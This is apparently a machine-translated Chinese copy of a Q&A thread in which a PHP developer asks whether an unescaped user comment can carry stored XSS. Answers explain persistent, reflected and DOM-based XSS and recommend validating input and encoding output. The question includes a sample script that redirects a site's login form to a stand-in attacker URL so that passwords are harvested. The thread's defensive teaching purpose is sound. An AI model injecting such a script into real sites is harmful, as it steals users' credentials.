2012-01-22 15 views
12

我是一名PHP開發人員,我正在尋求提高我的網站的安全性。用戶輸入的HTML顯示給其他人,但沒有HTML轉義的HTML示例的XSS

從我的理解,以下是兩種主要類型的漏洞影響Web應用程序:

  • SQL注入
  • XSS

SQL注入可以固定和預處理語句 - 易。

但我仍然沒有真正得到XSS - ?是以下XSS的例子...

  • 整版的用戶自制內容的頂部有一個登錄表單(站點範圍) 。
  • 用戶輸入的頁面不是HTML轉義的。
  • 用戶帖子下面的內容(例如,評論)的網頁...
A really nice comment 

<!-- now an evil script (example here with jquery, but easily done without) ---> 
<script type="text/javascript"> 
$(document).ready(function() { 
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); 
}); 
</script> 
  • 一個無辜的用戶來到該頁面時,腳本執行。
  • 無辜的用戶意識到他們沒有登錄,並將他們的詳細信息輸入到表單中。
  • 用戶的詳細信息被髮送到http://somehackysite.com/givemyourpw.php,然後用戶的帳戶詳細信息被盜。

所以,我真的在這裏有三個問題:

  1. 將這項工作?
  2. 這是XSS嗎?
  3. 除了轉義HTML以外,開發人員是否應該採取任何預防措施防禦XSS?
+4

1)是的。 2)是的。 3)是的。 ['strip_tags()'](http://php.net/manual/en/function.strip-tags.php)是一個好的開始。 – DaveRandom

+3

@DaveRandom 3)不,strip_tags是邪惡的,從不使用它。決不! – NikiC

+0

@NikiC爲什麼它是邪惡的? –

回答

5

有兩種類型的XSS攻擊:反射XSS和持續XSS攻擊。您所描述的內容,即站點用戶輸入的數據在服務器端保存並呈現給任何查看頁面的用戶,被視爲持久XSS。類似的攻擊可能是如果你在一個不能轉義Javascript的帖子上有一個評論框,或者我可以添加任何內容的個人資料頁面。

另一類XSS攻擊是反射XSS。這些更復雜一些,但它們相當於網址中的某個參數不會被轉義。他們經常出現在大型網站上的搜索頁面。你會得到一個URL,其中包含一些JavaScript(對不起,我的例子在這裏被渲染器弄壞了,所以我不能給你看一個例子),並且頁面將呈現JavaScript,這將允許某人制造惡意URL。在提交任何財務數據的網站上,這些信息尤其危險;設想一個有良知的用戶,他們總是進行檢查以確保他們正在寫入鏈接到他們的銀行,但是由於反射的XSS攻擊,攻擊者能夠將他們發送到他們銀行網站上的合法頁面,但這具有惡意代碼在裏面。

無論如何,你的例子是Persistent XSS。用這種攻擊你可以做更多的惡意事情,而不僅僅是改變登錄表單發送用戶的位置。他們多年來一直很喜歡從網站的個人領域獲取信息,或者與CSRF結合使用,通過簡單地查看頁面來讓認證用戶執行某些操作。之前有一些MySpace病毒曾經這樣做,並且從個人資料傳播到個人資料。

0

它的XSS,我相信這是JavaScript注入太
所以我覺得this link將有助於

5

這是XSS?

是的,這是一般的injection flaw和將被稱爲XSS漏洞在這個特定的情況下,它是被注入的JavaScript。

但是這個注入缺陷,其中一個用戶的輸入反映給其他用戶沒有任何改變,也可以產生其他攻擊,如defacement

這項工作?

是的,這很有可能會起作用,因爲它是服務此代碼的原始服務器,就像網頁中的任何其他代碼一樣。所以這就像網站的作者是這個代碼的鼻祖,並且會被同樣對待。

除了轉義HTML之外,開發人員是否應該採取任何預防措施來應對XSS?

實際上有三種不同類型的XSS的:DOM based XSSReflected XSSStored/persistent XSS)。您的示例是存儲/持久化XSS漏洞,因爲服務器會在每次請求時都部署漏洞利用程序。

一般規則是不相信任何用戶輸入。也就是說,只有有效的用戶輸入應該被允許,或者在輸出之前,用戶輸入被過濾(去除無效值)或正確編碼(轉換無效值)。有關更多信息,請參見OWASP’s XSS Cheat Sheet